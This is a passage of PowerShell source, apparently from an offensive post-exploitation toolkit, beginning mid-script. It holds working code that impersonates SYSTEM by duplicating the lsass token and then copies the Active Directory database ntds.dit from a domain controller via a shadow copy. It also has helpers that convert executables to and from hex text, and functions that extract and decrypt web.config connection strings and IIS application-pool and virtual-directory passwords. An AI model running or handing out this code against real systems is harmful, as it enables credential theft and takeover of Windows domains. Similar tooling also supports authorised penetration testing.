SizeConst=ANYSIZE_ARRAY)] public LUID_AND_ATTRIBUTES [] Privileges; } [DllImport("advapi32.dll", SetLastError=true)] public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle); [DllImport("advapi32.dll", SetLastError=true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool SetThreadToken( IntPtr PHThread, IntPtr Token ); [DllImport("advapi32.dll", SetLastError=true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError = true)] public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid); [DllImport("kernel32.dll", ExactSpelling = true)] public static extern IntPtr GetCurrentProcess(); [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen); "@ $currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent()) if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) { Write-Warning "Run the Command as an Administrator" Break } Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv $adjPriv = [AdjPriv.AdjPriv] [long]$luid = 0 $tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid $tokPriv1Luid.Count = 1 $tokPriv1Luid.Luid = $luid $tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED $retVal = $adjPriv::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid) [IntPtr]$htoken = [IntPtr]::Zero $retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(), [AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS, [ref]$htoken) $tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES $retVal = $adjPriv::AdjustTokenPrivileges($htoken, $false, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) if(-not($retVal)) { [System.Runtime.InteropServices.marshal]::GetLastWin32Error() Break } $process = (Get-Process -Name lsass) #$process.name [IntPtr]$hlsasstoken = [IntPtr]::Zero $retVal = $adjPriv::OpenProcessToken($process.Handle, ([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -BOR [AdjPriv.AdjPriv]::TOKEN_DUPLICATE), [ref]$hlsasstoken) [IntPtr]$dulicateTokenHandle = [IntPtr]::Zero $retVal = $adjPriv::DuplicateToken($hlsasstoken, 2, [ref]$dulicateTokenHandle) $retval = $adjPriv::SetThreadToken([IntPtr]::Zero, $dulicateTokenHandle) if(-not($retVal)) { [System.Runtime.InteropServices.marshal]::GetLastWin32Error() } } function Copy-RawItem { [CmdletBinding()] Param ( [String] $Path, [String] $Destination, [Switch] $FailIfExists ) $mscorlib = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ($_.Location.Split('\')[-1] -eq 'mscorlib.dll')} $Win32Native = $mscorlib.GetType('Microsoft.Win32.Win32Native') $CopyFileMethod = $Win32Native.GetMethod('CopyFile', ([Reflection.BindingFlags] 'NonPublic, Static')) $CopyResult = $CopyFileMethod.Invoke($null, @($Path, $Destination, ([Bool] $PSBoundParameters['FailIfExists']))) $HResult = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($CopyResult -eq $False -and $HResult -ne 0) { throw ( New-Object ComponentModel.Win32Exception ) } else { Write-Output (Get-ChildItem $Destination) } } function Copy-NTDSDit { $service=(Get-Service -name VSS) if($service.Status -ne "Running"){$notrunning=1;$service.Start()} $id = ( Get-WMIObject -list win32_shadowcopy).Create($env:SystemDrive,"ClientAccessible").ShadowID $volume=(Get-WMIObjectwin32_shadowcopy -filter "ID='$id'") Copy-RawItem -Path "$($volume.DeviceObject)\Windows\NTDS\ntds.dit" -Destination $env:TEMP $volume.Delete();if($notrunning -eq 1){$service.Stop()} write-host "Copied to $($env:TEMP)" } if ([priv]::IsUserAnAdmin()) { $IsDC = (Get-Service -Name KDC -ErrorAction SilentlyContinue) if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) { if ($IsDC) { Copy-NTDSDit } else { Write-Host "Server is not a Domain Controller" } } else { Get-SystemToken if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) { if ($IsDC) { Copy-NTDSDit } else { Write-Host "Server is not a Domain Controller" } } } } else { Write-Error "Administrator or System privelages necessary." } '@ switch ($Output) { 'Encoded' {Compress-PostScript -Command $script} 'Script' {$script} } } <# .Synopsis Converts a PE File or none signed file in a Hex Byte String .DESCRIPTION Converts a PE File or none signed file in a Hex Byte String. The outout can be saved in to a text file that can be later converted back to it's original format with ConvertTo-PostHextoFile. Some signed executables tend to not work after conversion. .EXAMPLE ConvertTo-PostFiletoHex -File C:\Windows\System32\cmd.exe -OutFile C:\note2.txt Convert cmd.exe in to a text file named note2.txt #> function ConvertTo-PostFiletoHex { [CmdletBinding()] [OutputType([byte])] Param ( # File to encode in to Hex [Parameter(Mandatory=$true, ValueFromPipeline=$true, Position=0)] [ValidateScript({Test-Path $_})] $File, # File to save the Hex encoded file. [String] $OutFile ) Begin { } Process { [Byte[]] $hex = get-content -encoding byte -path $File if ($OutFile) { [System.IO.File]::WriteAllLines($OutFile, ([String]$hex)) } else { Write-Output [String]$hex } } End { } } <# .Synopsis Converts a file with a Hex Byte representation to it original format. .DESCRIPTION Converts a file with a Hex Byte representation to it original format. .EXAMPLE ConvertTo-PostHextoFile -File C:\note2.txt -OutFile C:\note2.exe PS C:\> Get-Item C:\note2.exe | select -ExpandProperty VersionInfo | fl * Comments : CompanyName : Microsoft Corporation FileBuildPart : 9200 FileDescription : Windows Command Processor FileMajorPart : 6 FileMinorPart : 2 FileName : C:\note2.exe FilePrivatePart : 16384 FileVersion : 6.2.9200.16384 (win8_rtm.120725-1247) InternalName : cmd IsDebug : False IsPatched : False IsPrivateBuild : False IsPreRelease : False IsSpecialBuild : False Language : English (United States) LegalCopyright : © Microsoft Corporation. All rights reserved. LegalTrademarks : OriginalFilename : Cmd.Exe.MUI PrivateBuild : ProductBuildPart : 9200 ProductMajorPart : 6 ProductMinorPart : 2 ProductName : Microsoft® Windows® Operating System ProductPrivatePart : 16384 ProductVersion : 6.2.9200.16384 SpecialBuild : Converts a copy of cmd.exe converted to Hex Byte representation in note2.txt to an exe. #> function ConvertTo-PostHextoFile { [CmdletBinding()] [OutputType([byte])] Param ( # File to encode in to Hex [Parameter(Mandatory=$true, ValueFromPipeline=$true, Position=0)] [ValidateScript({Test-Path $_})] $File, # File to save the Hex encoded file. [String] $OutFile ) Begin { } Process { [string]$hex = Get-Content -path $File [Byte[]] $temp = $hex -split ' ' [System.IO.File]::WriteAllBytes($OutFile, $temp) } End { } } function Get-Webconfig { # Author: Scott Sutherland - 2014, NetSPI # Author: Antti Rantasaari - 2014, NetSPI # Version: get-webconfig.ps1 v1.0 <# .SYNOPSIS This script will recover cleartext and encrypted connection strings from all web.config files on the system. Also, it will decrypt them if needed. .DESCRIPTION This script will identify all of the web.config files on the system and recover the connection strings used to support authentication to backend databases. If needed, the script will also decrypt the connection strings on the fly. The output supports the pipeline which can be used to convert all of the results into a pretty table by piping to format-table. .EXAMPLE Return a list of cleartext and decrypted connect strings from web.config files. PS C:\>get-webconfig user : s1admin pass : s1password dbserv : 192.168.1.103\server1 vdir : C:\test2 path : C:\test2\web.config encr : No user : s1user pass : s1password dbserv : 192.168.1.103\server1 vdir : C:\inetpub\wwwroot path : C:\inetpub\wwwroot\web.config encr : Yes .EXAMPLE Return a list of clear text and decrypted connect strings from web.config files. PS C:\>get-webconfig | Format-Table -Autosize user pass dbserv vdir path encr ---- ---- ------ ---- ---- ---- s1admin s1password 192.168.1.101\server1 C:\App1 C:\App1\web.config No s1user s1password 192.168.1.101\server1 C:\inetpub\wwwroot C:\inetpub\wwwroot\web.config No s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\test\web.config No s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\web.config Yes s3user s3password 192.168.1.103\server3 D:\App3 D:\App3\web.config No .LINK http://www.netspi.com https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx .NOTES Below is an alterantive method for grabbing connection strings, but it doesn't support decryption. for /f "tokens=*" %i in ('%systemroot%\system32\inetsrv\appcmd.exe list sites /text:name') do %systemroot%\system32\inetsrv\appcmd.exe list config "%i" -section:connectionstrings #> # Check if appcmd.exe exists if (Test-Path ("c:\windows\system32\inetsrv\appcmd.exe")) { # Create data table to house results $DataTable = New-Object System.Data.DataTable # Create and name columns in the data table $DataTable.Columns.Add("user") | Out-Null $DataTable.Columns.Add("pass") | Out-Null $DataTable.Columns.Add("dbserv") | Out-Null $DataTable.Columns.Add("vdir") | Out-Null $DataTable.Columns.Add("path") | Out-Null $DataTable.Columns.Add("encr") | Out-Null # Get list of virtual directories in IIS c:\windows\system32\inetsrv\appcmd.exe list vdir /text:physicalpath | foreach { $CurrentVdir = $_ # Converts CMD style env vars (%) to powershell env vars (env) if ($_ -like "*%*") { $EnvarName = "`$env:"+$_.split("%")[1] $EnvarValue = Invoke-Expression $EnvarName $RestofPath = $_.split("%")[2] $CurrentVdir = $EnvarValue+$RestofPath } # Search for web.config files in each virtual directory $CurrentVdir | Get-ChildItem -Recurse -Filter web.config | foreach{ # Set web.config path $CurrentPath = $_.fullname # Read the data from the web.config xml file [xml]$ConfigFile = Get-Content $_.fullname # Check if the connectionStrings are encrypted if ($ConfigFile.configuration.connectionStrings.add) { # Foreach connection string add to data table $ConfigFile.configuration.connectionStrings.add| foreach { [string]$MyConString = $_.connectionString $ConfUser = $MyConString.Split("=")[3].Split(";")[0] $ConfPass = $MyConString.Split("=")[4].Split(";")[0] $ConfServ = $MyConString.Split("=")[1].Split(";")[0] $ConfVdir = $CurrentVdir $ConfPath = $CurrentPath $ConfEnc = "No" $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc) | Out-Null } }else{ # Find newest version of aspnet_regiis.exe to use (it works with older versions) $aspnet_regiis_path = Get-ChildItem -Recurse -filter aspnet_regiis.exe c:\Windows\Microsoft.NET\Framework\ | Sort-Object -Descending | select fullname -First 1 # Check if aspnet_regiis.exe exists if (Test-Path ($aspnet_regiis_path.FullName)) { # Setup path for temp web.config to the current user's temp dir $WebConfigPath = (get-item $env:temp).FullName + "\web.config" # Remove existing temp web.config if (Test-Path ($WebConfigPath)) { Del $WebConfigPath } # Copy web.config from vdir to user temp for decryption Copy $CurrentPath $WebConfigPath #Decrypt web.config in user temp $aspnet_regiis_cmd = $aspnet_regiis_path.fullname+' -pdf "connectionStrings" (get-item $env:temp).FullName' invoke-expression $aspnet_regiis_cmd | Out-Null # Read the data from the web.config in temp [xml]$TMPConfigFile = Get-Content $WebConfigPath # Check if the connectionStrings are still encrypted if ($TMPConfigFile.configuration.connectionStrings.add) { # Foreach connection string add to data table $TMPConfigFile.configuration.connectionStrings.add| foreach { [string]$MyConString = $_.connectionString $ConfUser = $MyConString.Split("=")[3].Split(";")[0] $ConfPass = $MyConString.Split("=")[4].Split(";")[0] $ConfServ = $MyConString.Split("=")[1].Split(";")[0] $ConfVdir = $CurrentVdir $ConfPath = $CurrentPath $ConfEnc = "Yes" $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc) | Out-Null } }else{ Write-Error "Decryption of $CurrentPath failed." } }else{ Write-Error "aspnet_regiis.exe does not exist in the default location." } } } } # Check if any connection strings were found if( $DataTable.rows.Count -gt 0 ) { # Display results in list view that can feed into the pipeline $DataTable | Sort-Object user,pass,dbserv,vdir,path,encr | select user,pass,dbserv,vdir,path,encr -Unique }else{ # Status user Write-Error "No connectionStrings found." } }else{ Write-Error "Appcmd.exe does not exist in the default location." } } <# .SYNOPSIS This script will recover encrypted application pool and virtual directory passwords from the applicationHost.config on the system. .DESCRIPTION This script will decrypt and recover application pool and virtual directory passwords from the applicationHost.config file on the system. The output supports the pipeline which can be used to convert all of the results into a pretty table by piping to format-table. .EXAMPLE Return application pool and virtual directory passwords from the applicationHost.config on the system. PS C:\>get-ApplicationHost user : PoolUser1 pass : PoolParty1! type : Application Pool vdir : NA apppool : ApplicationPool1 user : PoolUser2 pass : PoolParty2! type : Application Pool vdir : NA apppool : ApplicationPool2 user : VdirUser1 pass : VdirPassword1! type : Virtual Directory vdir : site1/vdir1/ apppool : NA user : VdirUser2 pass : VdirPassword2! type : Virtual Directory vdir : site2/ apppool : NA .EXAMPLE Return a list of cleartext and decrypted connect strings from web.config files. PS C:\>get-ApplicationHost | Format-Table -Autosize user pass type vdir apppool ---- ---- ---- ---- ------- PoolUser1 PoolParty1! Application Pool NA ApplicationPool1 PoolUser2 PoolParty2! Application Pool NA ApplicationPool2 VdirUser1 VdirPassword1! Virtual Directory site1/vdir1/ NA VdirUser2 VdirPassword2! Virtual Directory site2/ NA .LINK http://www.netspi.com http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx .NOTES Author: Scott Sutherland - 2014, NetSPI Version: Get-ApplicationHost v1.0 Comments: Should work on IIS 6 and Above #> function Get-ApplicationHost { # Check if appcmd.exe exists if (Test-Path ("c:\windows\system32\inetsrv\appcmd.exe")) { # Create data table to house results $DataTable = New-Object System.Data.DataTable # Create and name columns in the data table $DataTable.Columns.Add("user") | Out-Null $DataTable.Columns.Add("pass") | Out-Null $DataTable.Columns.Add("type") | Out-Null $DataTable.Columns.Add("vdir") | Out-Null $DataTable.Columns.Add("apppool") | Out-Null # Get list of application pools c:\windows\system32\inetsrv\appcmd.exe list apppools /text:name | foreach { #Get application pool name $PoolName = $_ #Get username $PoolUserCmd = 'c:\windows\system32\inetsrv\appcmd.exe list apppool "'+$PoolName+'" /text:processmodel.username' $PoolUser = invoke-expression $PoolUserCmd #Get password $PoolPasswordCmd = 'c:\windows\system32\inetsrv\appcmd.exe list apppool "'+$PoolName+'" /text:processmodel.password' $PoolPassword = invoke-expression $PoolPasswordCmd #Check if credentials exists IF ($PoolPassword -ne "") { #Add credentials to database $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) | Out-Null } } # Get list of virtual directories c:\windows\system32\inetsrv\appcmd.exe list vdir /text:vdir.name | foreach { #Get Virtual Directory Name $VdirName = $_ #Get username $VdirUserCmd = 'c:\windows\system32\inetsrv\appcmd list vdir "'+$VdirName+'" /text:userName' $VdirUser = invoke-expression $VdirUserCmd #Get password $VdirPasswordCmd = 'c:\windows\system32\inetsrv\appcmd list vdir "'+$VdirName+'" /text:password' $VdirPassword = invoke-expression $VdirPasswordCmd #Check if credentials exists IF ($VdirPassword -ne "") { #Add credentials to database $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') | Out-Null } } # Check if any passwords were found if( $DataTable.rows.Count -gt 0 ) { # Display results in list view that can feed into the pipeline $DataTable | Sort-Object type,user,pass,vdir,apppool | select user,pass,type,vdir,apppool -Unique }else{ # Status user Write-Error "No application pool or virtual directory passwords were found." } }else{ Write-Error "Appcmd.exe does not exist in the default location." } } |